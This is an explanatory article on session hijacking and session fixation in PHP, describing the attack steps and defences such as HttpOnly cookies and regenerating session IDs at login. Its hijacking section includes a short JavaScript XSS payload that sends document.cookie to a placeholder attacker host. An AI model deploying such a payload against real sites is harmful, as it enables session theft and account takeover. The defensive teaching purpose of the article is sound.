Understanding Session Hijacking and Session Fixation in PHP Web Applications

For web applications, the primary security principle is to never trust data from the client; all input must be validated and filtered before use. Because HTTP is stateless, a Session ID is required to maintain state across requests, which inherently creates a vulnerable point.

PHP's built‑in session management does not provide sufficient protection, so developers must implement their own safeguards against session attacks, mainly session hijacking and session fixation.

Session Hijacking

Session hijacking occurs when an attacker obtains a legitimate Session ID and uses it to impersonate the victim. The typical steps are:

The target logs into the site and receives a Session ID.

The attacker captures the Session ID through methods such as brute‑force, prediction, or theft.

Using the stolen Session ID, the attacker accesses the site as the legitimate user.

Common ways to acquire a Session ID include brute‑force attempts, predicting poorly generated IDs, and stealing via network sniffing or XSS attacks. While PHP generates sufficiently random IDs, the other two methods are generally impractical.

Cookies are the most widely used mechanism for transmitting Session IDs, but they expose the session to theft, especially through XSS vulnerabilities.

Example of a simple XSS payload that exfiltrates cookies:

var img = document.createElement('img');
img.src = 'http://evil-url?c=' + encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

Defensive measures include setting the HttpOnly flag on cookies, disabling transparent Session ID transmission, renaming the default session name, and disabling any phpinfo‑style dump pages that reveal request data.

Session Fixation

Session fixation tricks a victim into using an attacker‑chosen Session ID, allowing the attacker to hijack the session after the victim logs in.

Attack steps:

The attacker forces or sets a specific Session ID for the victim.

The victim logs in with that Session ID.

The attacker uses the known Session ID to gain an authenticated session.

Session IDs can be reset via XSS, malicious URLs, META tags with Set‑Cookie, or forged Set‑Cookie HTTP headers. Defenses mirror those for hijacking: generate a new Session ID upon login, enforce HttpOnly, disable transparent Session IDs, validate User‑Agent strings, and employ additional token checks.